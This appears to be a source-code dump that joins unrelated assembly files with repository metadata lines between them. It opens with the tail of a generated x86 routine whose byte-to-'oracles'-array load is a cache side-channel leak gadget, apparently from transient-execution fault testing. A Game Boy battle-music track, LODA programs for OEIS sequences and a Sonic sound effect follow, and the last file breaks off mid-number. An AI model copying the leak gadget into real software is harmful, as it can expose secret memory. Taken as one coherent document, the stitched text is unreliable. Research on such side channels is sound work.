%rdi, %rdi movb (%r12), %cl lea oracles, %r12 and $0xff, %rcx shlq $12, %rcx mov (%r12,%rcx,1), %rcx pop %rdi pop %rcx pop %rbx pop %r14 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_US', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_US', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_US', 'same': False, 'size': 4, 'congruent': 10, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_US', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
38.375
2,999
0.654886
30c90b08c21fb5d18cbcda8da24d15a4d13d84e1
14,180
asm
Assembly
audio/music/rocketbattle.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
audio/music/rocketbattle.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
audio/music/rocketbattle.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
Music_RocketBattle: musicheader 3, 1, Music_RocketBattle_Ch1 musicheader 1, 2, Music_RocketBattle_Ch2 musicheader 1, 3, Music_RocketBattle_Ch3 Music_RocketBattle_Ch1: tempo 101 volume $77 dutycycle $3 tone $0002 vibrato $10, $15 notetype $c, $b2 octave 4 note E_, 1 note D#, 1 note D_, 1 note C#, 1 note D_, 1 note C#, 1 note C_, 1 octave 3 note B_, 1 octave 4 note C_, 1 octave 3 note B_, 1 note A#, 1 note A_, 1 note A#, 1 note A_, 1 note G#, 1 note G_, 1 note G#, 1 note G_, 1 note F#, 1 note F_, 1 note F#, 1 note F_, 1 note E_, 1 note D#, 1 note E_, 1 note D#, 1 note D_, 1 note C#, 1 note D_, 1 note C#, 1 note C_, 1 octave 2 note B_, 1 Music_RocketBattle_branch_e9bad: intensity $b2 octave 3 note C_, 6 note C_, 4 note E_, 2 intensity $b7 note D_, 4 loopchannel 3, Music_RocketBattle_branch_e9bad intensity $b2 note C_, 6 note C_, 6 intensity $b7 note D_, 4 Music_RocketBattle_branch_e9bc1: intensity $b2 octave 4 note E_, 6 note E_, 4 note G_, 2 intensity $b7 note F_, 4 loopchannel 3, Music_RocketBattle_branch_e9bc1 intensity $b2 note E_, 6 note E_, 4 intensity $b7 note D_, 2 note D#, 4 intensity $b3 octave 4 note C_, 2 octave 3 note E_, 2 note E_, 2 note A#, 2 note F_, 2 note F_, 2 note A_, 2 note D_, 2 note D_, 2 octave 4 note C_, 2 octave 3 note E_, 2 note E_, 2 note A_, 2 note E_, 2 note D_, 2 note E_, 2 note F_, 2 note E_, 2 note F_, 2 intensity $b5 note G_, 4 intensity $b3 note G_, 2 note F_, 2 note D#, 2 note D_, 2 note C#, 2 note D_, 2 intensity $b5 note D#, 4 intensity $b3 note D#, 2 note D_, 2 note F_, 2 Music_RocketBattle_branch_e9c02: octave 4 note E_, 2 octave 3 note E_, 2 note E_, 2 octave 4 note D_, 2 octave 3 note F_, 2 note F_, 2 octave 4 note C_, 2 octave 3 note D_, 2 note D_, 2 octave 4 note E_, 2 octave 3 note E_, 2 note E_, 2 octave 4 note D_, 2 octave 3 note E_, 2 note D_, 2 note E_, 2 note F_, 2 note E_, 2 note F_, 2 intensity $b5 note G_, 4 intensity $b3 note G_, 2 note F_, 2 octave 4 note C_, 2 note D_, 2 note C_, 2 note D_, 2 intensity $b5 note F_, 4 intensity $b2 octave 3 note F_, 2 note G_, 2 note G#, 4 intensity $b5 note D_, 4 note C_, 4 note D_, 4 note E_, 2 intensity $b2 note F_, 2 note A_, 4 intensity $b7 note A_, 4 intensity $b5 note A_, 2 note G_, 2 note F_, 4 note D_, 4 note C_, 4 note D_, 4 note E_, 2 note F_, 2 note E_, 2 note D_, 2 note C_, 2 note A#, 2 note G_, 2 note A_, 2 note A#, 2 intensity $b7 octave 4 note E_, 6 note D_, 4 octave 3 note G_, 2 note A#, 4 note A_, 6 note G_, 4 note E_, 2 note F_, 4 note E_, 6 note D_, 6 note D#, 4 intensity $a0 note E_, 8 intensity $a7 note E_, 8 intensity $b7 octave 2 note A_, 8 note G_, 8 note A_, 8 note A#, 8 note A_, 8 note G_, 8 note A_, 8 octave 3 note C#, 8 note D_, 8 note C#, 8 octave 2 note A#, 8 note A_, 8 octave 3 note D_, 8 note C#, 8 note D_, 8 note E_, 8 octave 2 note A#, 6 octave 3 note D_, 6 note C_, 4 intensity $b5 octave 2 note A#, 2 octave 3 note C_, 2 note D_, 2 note E_, 2 note F_, 2 note G_, 2 note A_, 2 note A#, 2 note A_, 2 note E_, 2 note A_, 2 note A#, 2 note A_, 2 note E_, 2 note D_, 2 note E_, 2 note A_, 2 note E_, 2 note A_, 2 octave 4 note C#, 2 note D_, 2 note C#, 2 octave 3 note A#, 2 note G_, 2 intensity $b2 note E_, 6 note E_, 6 note E_, 4 note E_, 6 note E_, 4 intensity $b7 note G_, 2 note F_, 4 intensity $b2 note E_, 6 note E_, 4 intensity $b7 note G_, 2 note F_, 4 intensity $b2 note E_, 6 octave 4 note D_, 1 note D#, 1 intensity $a0 note E_, 8 intensity $b2 octave 3 note F_, 6 note F_, 4 intensity $b7 note A#, 2 note G_, 4 Music_RocketBattle_branch_e9cc5: intensity $b2 note F_, 6 note F_, 4 intensity $b7 note A_, 2 note G_, 4 loopchannel 2, Music_RocketBattle_branch_e9cc5 intensity $b2 note F_, 6 octave 4 note D_, 1 note E_, 1 intensity $a0 note F_, 8 intensity $b3 note D_, 2 octave 3 note A_, 2 note E_, 2 note A_, 4 note A_, 2 intensity $b7 octave 4 note D_, 4 intensity $b3 note D#, 2 octave 3 note A#, 2 note G_, 2 note A#, 4 note A#, 2 intensity $b7 octave 4 note D_, 4 intensity $b3 note E_, 2 note C_, 2 octave 3 note A_, 2 octave 4 note C_, 4 note C_, 2 intensity $b7 note D#, 4 intensity $a0 note E_, 4 intensity $a7 note E_, 6 intensity $a0 octave 3 note G#, 6 intensity $b3 note C_, 2 note E_, 2 note E_, 2 octave 2 note A#, 2 octave 3 note F_, 2 note F_, 2 octave 2 note A_, 2 octave 3 note D_, 2 note D_, 2 note C_, 2 note E_, 2 note E_, 2 octave 2 note A_, 2 octave 3 note E_, 2 note D_, 2 note C_, 2 note C_, 2 octave 2 note A#, 2 octave 3 note C_, 2 intensity $b5 note D_, 4 intensity $b3 note D_, 2 note C_, 2 octave 2 note A#, 2 octave 3 note D_, 2 note C#, 2 note D_, 2 intensity $b5 note D#, 4 intensity $b3 note D#, 2 note D_, 2 note F_, 2 loopchannel 0, Music_RocketBattle_branch_e9c02 Music_RocketBattle_Ch2: dutycycle $3 vibrato $8, $36 tone $0001 notetype $c, $b2 octave 4 note A_, 4 note A#, 4 note B_, 4 octave 5 note C_, 1 intensity $82 octave 4 note G#, 1 note A_, 1 note G#, 1 intensity $c2 octave 5 note C#, 1 intensity $92 octave 4 note G#, 1 note A_, 1 note G#, 1 intensity $c2 octave 5 note D_, 1 intensity $a2 octave 4 note G#, 1 note A_, 1 note G#, 1 intensity $c2 octave 5 note D#, 1 intensity $b2 octave 4 note G#, 1 note A_, 1 note G#, 1 intensity $c2 octave 5 note E_, 1 octave 4 note G#, 1 note A_, 1 note G#, 1 Music_RocketBattle_branch_e9d7b: intensity $c2 octave 3 note A_, 6 note A_, 4 octave 4 note C_, 2 intensity $c7 octave 3 note A#, 4 loopchannel 3, Music_RocketBattle_branch_e9d7b intensity $c2 note A_, 6 note A_, 6 intensity $4a note G#, 4 Music_RocketBattle_branch_e9d91: intensity $c2 octave 4 note A_, 6 note A_, 4 octave 5 note C_, 2 intensity $c7 octave 4 note A#, 4 loopchannel 3, Music_RocketBattle_branch_e9d91 intensity $c2 note A_, 6 note A_, 4 intensity $c7 note G_, 2 note G#, 4 callchannel Music_RocketBattle_branch_e9ea0 intensity $b0 note F_, 16 intensity $b7 note F_, 16 Music_RocketBattle_branch_e9db1: callchannel Music_RocketBattle_branch_e9ea0 intensity $b0 note F_, 8 intensity $b7 note F_, 8 intensity $b0 note A#, 8 intensity $b7 note A#, 8 intensity $c4 octave 3 note A_, 2 note G_, 2 note A_, 2 intensity $c7 octave 4 note C_, 4 octave 3 note A#, 2 note A_, 2 note G_, 2 intensity $c2 note A_, 2 octave 4 note C_, 4 intensity $b0 note C_, 6 intensity $b7 note C_, 4 intensity $c4 octave 3 note A#, 2 note A_, 2 note A#, 2 intensity $c7 octave 4 note D_, 4 note C_, 2 octave 3 note A#, 2 note A_, 2 intensity $c2 note A#, 2 octave 4 note D_, 4 intensity $b0 note D_, 4 intensity $b7 note D_, 6 intensity $4f note A_, 6 intensity $a0 note G_, 6 note F_, 4 note E_, 6 note F_, 6 note G_, 4 note A_, 6 note A#, 6 note G#, 4 note A_, 6 intensity $a7 note A_, 10 intensity $3f octave 3 note D_, 8 intensity $b7 note D_, 8 intensity $3f note C#, 8 intensity $b7 note C#, 8 intensity $3f note D_, 8 intensity $b7 note D_, 8 intensity $3f note E_, 8 intensity $b7 note E_, 8 intensity $4e note F_, 8 intensity $a0 note F_, 8 note E_, 16 note F_, 16 note A_, 16 intensity $3f note F_, 16 intensity $c7 octave 4 note D_, 8 note C#, 8 intensity $b0 note E_, 8 intensity $b7 note E_, 8 intensity $3c note A_, 6 intensity $c7 note A_, 10 intensity $c2 octave 3 note A_, 6 note A_, 6 note A_, 4 note A_, 6 note A_, 4 intensity $c7 octave 4 note C_, 2 octave 3 note A#, 4 intensity $c2 note A_, 6 note A_, 4 intensity $c7 octave 4 note C_, 2 octave 3 note A#, 4 intensity $c2 note A_, 6 intensity $c7 octave 4 note G_, 1 note G#, 1 note A_, 8 Music_RocketBattle_branch_e9e5a: intensity $c2 octave 3 note A#, 6 note A#, 4 intensity $c7 octave 4 note D_, 2 note C_, 4 loopchannel 3, Music_RocketBattle_branch_e9e5a intensity $c2 octave 3 note A#, 6 intensity $c7 octave 4 note G_, 1 note A_, 1 note A#, 8 intensity $c7 note A_, 6 note G_, 6 note A_, 4 note A#, 6 octave 5 note D_, 6 octave 4 note A#, 4 note A_, 6 note G_, 6 intensity $c5 note A_, 4 intensity $b0 note A_, 8 intensity $b7 note A_, 8 intensity $c6 octave 3 note A_, 6 note G#, 6 note E_, 4 note A_, 6 note G#, 6 note E_, 4 intensity $b0 note F_, 8 intensity $b7 note F_, 8 intensity $3d note A#, 8 intensity $c7 note A#, 8 loopchannel 0, Music_RocketBattle_branch_e9db1 Music_RocketBattle_branch_e9ea0: intensity $c6 octave 4 note A_, 6 note G#, 6 note E_, 4 note A_, 6 note G#, 6 note E_, 4 endchannel Music_RocketBattle_Ch3: notetype $c, $19 octave 3 note A_, 2 octave 4 note E_, 2 octave 3 note G#, 2 octave 4 note E_, 2 octave 3 note G_, 2 octave 4 note E_, 2 octave 3 note F#, 2 octave 4 note E_, 2 octave 3 note F_, 2 octave 4 note E_, 2 octave 3 note E_, 2 octave 4 note E_, 2 octave 2 note B_, 2 octave 3 note C_, 2 octave 2 note B_, 2 note A#, 2 Music_RocketBattle_branch_e9ecc: callchannel Music_RocketBattle_branch_e9fe6 loopchannel 3, Music_RocketBattle_branch_e9ecc octave 2 note A_, 2 octave 3 note E_, 2 note D_, 2 octave 2 note A_, 2 octave 3 note G_, 2 note F_, 2 note E_, 2 note D_, 2 Music_RocketBattle_branch_e9edf: callchannel Music_RocketBattle_branch_e9fe6 loopchannel 3, Music_RocketBattle_branch_e9edf octave 2 note A_, 2 octave 3 note E_, 2 note D_, 2 octave 2 note A_, 2 octave 3 note G_, 2 octave 2 note G_, 2 note A_, 2 note A#, 2 callchannel Music_RocketBattle_branch_e9ff3 callchannel Music_RocketBattle_branch_ea010 octave 3 note F_, 2 callchannel Music_RocketBattle_branch_ea01d Music_RocketBattle_branch_e9efe: callchannel Music_RocketBattle_branch_e9ff3 callchannel Music_RocketBattle_branch_ea010 octave 3 note A#, 2 octave 2 note A#, 2 octave 3 note F_, 2 octave 2 note A#, 2 octave 3 note F_, 2 octave 2 note A#, 2 octave 3 note F_, 2 note E_, 2 note D_, 2 callchannel Music_RocketBattle_branch_ea02a octave 2 note A_, 2 octave 3 note E_, 2 note A_, 2 octave 2 note A_, 2 octave 3 note E_, 2 note A_, 2 octave 2 note A_, 2 octave 3 note E_, 2 Music_RocketBattle_branch_e9f25: octave 2 note A#, 2 octave 3 note F_, 2 loopchannel 5, Music_RocketBattle_branch_e9f25 note A#, 2 octave 2 note A#, 2 octave 3 note F_, 2 note A#, 2 octave 2 note A#, 2 octave 3 note A#, 2 callchannel Music_RocketBattle_branch_ea02a octave 2 note A_, 2 octave 3 note E_, 2 octave 2 note A_, 2 octave 3 note E_, 2 octave 2 note A_, 2 octave 3 note F_, 2 note E_, 2 note D_, 2 callchannel Music_RocketBattle_branch_ea02a callchannel Music_RocketBattle_branch_ea02a Music_RocketBattle_branch_e9f4e: octave 2 note A_, 2 octave 3 note E_, 2 note D_, 2 octave 2 note A#, 2 note A_, 2 octave 3 note D_, 2 note G_, 2 note F_, 2 loopchannel 7, Music_RocketBattle_branch_e9f4e octave 2 note A_, 2 octave 3 note E_, 2 note D_, 2 octave 2 note A#, 2 note A_, 2 octave 3 note A_, 2 note G_, 2 note F_, 2 Music_RocketBattle_branch_e9f6a: octave 2 note A#, 2 octave 3 note F_, 2 loopchannel 4, Music_RocketBattle_branch_e9f6a octave 2 note A#, 2 octave 3 note F_, 2 note G_, 2 note F_, 2 note E_, 2 note D_, 2 note C#, 2 note D_, 2 Music_RocketBattle_branch_e9f7c: octave 2 note A_, 2 octave 3 note E_, 2 loopchannel 13, Music_RocketBattle_branch_e9f7c octave 2 note A_, 2 octave 3 note E_, 4 note D_, 2 note C_, 2 octave 2 note A#, 2 Music_RocketBattle_branch_e9f8c: octave 2 note A_, 2 octave 3 note E_, 2 loopchannel 4, Music_RocketBattle_branch_e9f8c octave 2 note A_, 2 octave 4 note D_, 2 octave 3 note A_, 2 note A#, 4 note A_, 2 note G_, 2 note A#, 2 Music_RocketBattle_branch_e9f9e: octave 2 note A#, 2 octave 3 note F_, 2 loopchannel 7, Music_RocketBattle_branch_e9f9e note E_, 2 note F_, 2 Music_RocketBattle_branch_e9fa8: octave 2 note A#, 2 octave 3 note F_, 2 loopchannel 5, Music_RocketBattle_branch_e9fa8 octave 3 note A#, 2 octave 4 note D_, 4 note C_, 2 octave 3 note A#, 2 note G_, 2 callchannel Music_RocketBattle_branch_ea033 octave 3 note E_, 2 callchannel Music_RocketBattle_branch_ea010 octave 3 note F_, 2 callchannel Music_RocketBattle_branch_ea033 octave 3 note A_, 2 octave 2 note A_, 2 octave 3 note E_, 2 octave 2 note A_, 2 octave 3 note E_, 2 octave 2 note A_, 2 octave 3 note E_, 2 octave 2 note A_, 2 octave 3 note E_, 2 callchannel Music_RocketBattle_branch_e9ff3 callchannel Music_RocketBattle_branch_ea010 octave 3 note F_, 2 callchannel Music_RocketBattle_branch_ea01d loopchannel 0, Music_RocketBattle_branch_e9efe Music_RocketBattle_branch_e9fe6: octave 2 note A_, 2 octave 3 note E_, 2 note D_, 2 octave 2 note A_, 2 note A#, 2 octave 3 note E_, 2 note G_, 2 note F_, 2 endchannel Music_RocketBattle_branch_e9ff3: octave 2 note A_, 2 octave 3 note E_, 2 octave 2 note A_, 2 octave 3 note E_, 2 octave 2 note A_, 2 octave 3 note E_, 2 note D#, 2 note E_, 2 octave 2 note A_, 2 octave 3 note E_, 2 octave 2 note A_, 2 octave 3 note E_, 2 octave 2 note A_, 2 octave 3 note E_, 2 note D#, 2 note D_, 2 endchannel Music_RocketBattle_branch_ea010: octave 2 note A#, 2 octave 3 note F_, 2 note A#, 2 octave 2 note A#, 2 octave 3 note F_, 2 note A#, 2 octave 2 note A#, 2 endchannel Music_RocketBattle_branch_ea01d: octave 2 note A#, 2 octave 3 note F_, 2 note A#, 2 note F_, 2 note A#, 2 note F_, 2 octave 2 note A#, 2 octave 3 note F_, 2 endchannel Music_RocketBattle_branch_ea02a: octave 2 note A_, 2 octave 3 note E_, 2 loopchannel 4, Music_RocketBattle_branch_ea02a endchannel Music_RocketBattle_branch_ea033: octave 2 note A_, 2 octave 3 note E_, 2 note A_, 2 octave 2 note A_, 2 octave 3 note E_, 2 note A_, 2 octave 2 note A_, 2 endchannel
13.76699
48
0.679901
89d96d6ffbc96d92356d0e2431a28eedf9e0266f
589
asm
Assembly
programs/oeis/294/A294924.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/294/A294924.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/294/A294924.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A294924: Numbers n such that the whole sequence of the first n terms of A293699 is a palindrome. ; 1,3,5,7,26,63,100,137,174,211,248,285,322,359,396,433,470,507,544,581,618,655,692,729,766,803,840,877,914,951,988,1025,1062,1099,1136,1173,1210,1247,1284,1321,1358,1395,1432,1469,1506,1543,1580,1617,1654,1691,1728,1765,1802,1839,1876,1913,1950,1987,2024,2061,2098,2135 mov $2,$0 add $2,2 mov $3,$0 trn $0,4 mov $1,$0 add $0,4 trn $2,5 add $2,$1 add $0,$2 add $0,1 mov $1,4 add $2,5 lpb $1 sub $1,1 mul $2,2 lpe add $2,5 add $1,$2 add $0,$1 lpb $3 add $0,2 sub $3,1 lpe sub $0,89
21.035714
270
0.677419
da5ed1f481ac4a2d2bb4de63604c5dbc7013bb52
1,395
asm
Assembly
s2/sfx-original/E1 - Rumbling 2.asm
Cancer52/flamedriver
9ee6cf02c137dcd63e85a559907284283421e7ba
[ "0BSD" ]
9
2017-10-09T20:28:45.000Z
2021-06-29T21:19:20.000Z
s2/sfx-original/E1 - Rumbling 2.asm
Cancer52/flamedriver
9ee6cf02c137dcd63e85a559907284283421e7ba
[ "0BSD" ]
12
2018-08-01T13:52:20.000Z
2022-02-21T02:19:37.000Z
s2/sfx-original/E1 - Rumbling 2.asm
Cancer52/flamedriver
9ee6cf02c137dcd63e85a559907284283421e7ba
[ "0BSD" ]
2
2018-02-17T19:50:36.000Z
2019-10-30T19:28:06.000Z
Sound61_Rumbling2_Header: smpsHeaderStartSong 2, 1 smpsHeaderVoice Sound61_Rumbling2_Voices smpsHeaderTempoSFX $01 smpsHeaderChanSFX $01 smpsHeaderSFXChannel cFM4, Sound61_Rumbling2_FM4, $00, $04 ; FM4 Data Sound61_Rumbling2_FM4: dc.b nRst, $01 smpsSetvoice $00 smpsModSet $00, $01, $70, $06 dc.b nCs0, $06, nE0, $08, nD0, $01, nCs0, $05, nF0, $06, nAb0, $03 dc.b nCs0, $08, nG0, $04, nCs0, $06 smpsAlterVol $02 dc.b nE0, $08 smpsAlterVol $02 dc.b nD0, $01 smpsAlterVol $02 dc.b nCs0, $05 smpsAlterVol $02 dc.b nF0, $06 smpsAlterVol $02 dc.b nAb0, $03 smpsAlterVol $02 dc.b nCs0, $08 smpsAlterVol $02 dc.b nG0, $04 smpsAlterVol $02 smpsStop Sound61_Rumbling2_Voices: ; Voice $00 ; $32 ; $30, $50, $30, $30, $1F, $19, $0E, $0E, $07, $15, $12, $09 ; $0A, $1D, $09, $06, $E8, $0A, $03, $17, $07, $00, $00, $00 smpsVcAlgorithm $02 smpsVcFeedback $06 smpsVcUnusedBits $00 smpsVcDetune $03, $03, $05, $03 smpsVcCoarseFreq $00, $00, $00, $00 smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $0E, $0E, $19, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $09, $12, $15, $07 smpsVcDecayRate2 $06, $09, $1D, $0A smpsVcDecayLevel $01, $00, $00, $0E smpsVcReleaseRate $07, $03, $0A, $08 smpsVcTotalLevel $00, $00, $00, $07
26.826923
67
0.602151
c5a258645b413d335cc38b4efb8a7d62e32d7888
586
asm
Assembly
programs/oeis/005/A005126.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/005/A005126.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/005/A005126.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A005126: a(n) = 2^n + n + 1. ; 2,4,7,12,21,38,71,136,265,522,1035,2060,4109,8206,16399,32784,65553,131090,262163,524308,1048597,2097174,4194327,8388632,16777241,33554458,67108891,134217756,268435485,536870942,1073741855,2147483680,4294967329,8589934626,17179869219,34359738404,68719476773,137438953510,274877906983,549755813928,1099511627817,2199023255594,4398046511147,8796093022252,17592186044461,35184372088878,70368744177711,140737488355376,281474976710705,562949953421362,1125899906842675,2251799813685300,4503599627370549,9007199254741046 mov $1,2 pow $1,$0 add $1,$0 add $1,1
73.25
515
0.841297
35489b16994259aec60a915acda7c568539bae31
717
asm
Assembly
oeis/115/A115970.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/115/A115970.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/115/A115970.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A115970: Expansion of 1/(4*sqrt(1-4*x) - 3). ; Submitted by Jon Maiga ; 1,8,72,656,5992,54768,500688,4577568,41851560,382641200,3498428272,31985610720,292439802256,2673735097184,24445577182368,223502416896576,2043450657688872,18682977401318064,170815793235313968,1561744394748426336,14278805892823025712,130549082441165811744,1193591610862697402208,10912837584925824747456,99774515061786900989712,912224137706291775737568,8340334973309111153713248,76254491184519453573295808,697183919401241251469086240,6374252977382475730058216640,58278884364638632683713236288 mov $4,$0 add $0,1 lpb $0 sub $0,1 mov $3,$4 bin $3,$1 add $1,1 add $3,$2 mul $2,2 mul $3,6 add $2,$3 add $4,1 lpe mov $0,$3 div $0,6
35.85
491
0.806137
a43eebdf2ab8deb508317fe5131c7d3085886b99
1,472
asm
Assembly
programs/oeis/250/A250657.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/250/A250657.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/250/A250657.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A250657: Number of (3+1)X(n+1) 0..1 arrays with nondecreasing x(i,j)-x(i,j-1) in the i direction and nondecreasing min(x(i,j),x(i-1,j)) in the j direction ; 39,70,109,156,211,274,345,424,511,606,709,820,939,1066,1201,1344,1495,1654,1821,1996,2179,2370,2569,2776,2991,3214,3445,3684,3931,4186,4449,4720,4999,5286,5581,5884,6195,6514,6841,7176,7519,7870,8229,8596,8971,9354,9745,10144,10551,10966,11389,11820,12259,12706,13161,13624,14095,14574,15061,15556,16059,16570,17089,17616,18151,18694,19245,19804,20371,20946,21529,22120,22719,23326,23941,24564,25195,25834,26481,27136,27799,28470,29149,29836,30531,31234,31945,32664,33391,34126,34869,35620,36379,37146,37921,38704,39495,40294,41101,41916,42739,43570,44409,45256,46111,46974,47845,48724,49611,50506,51409,52320,53239,54166,55101,56044,56995,57954,58921,59896,60879,61870,62869,63876,64891,65914,66945,67984,69031,70086,71149,72220,73299,74386,75481,76584,77695,78814,79941,81076,82219,83370,84529,85696,86871,88054,89245,90444,91651,92866,94089,95320,96559,97806,99061,100324,101595,102874,104161,105456,106759,108070,109389,110716,112051,113394,114745,116104,117471,118846,120229,121620,123019,124426,125841,127264,128695,130134,131581,1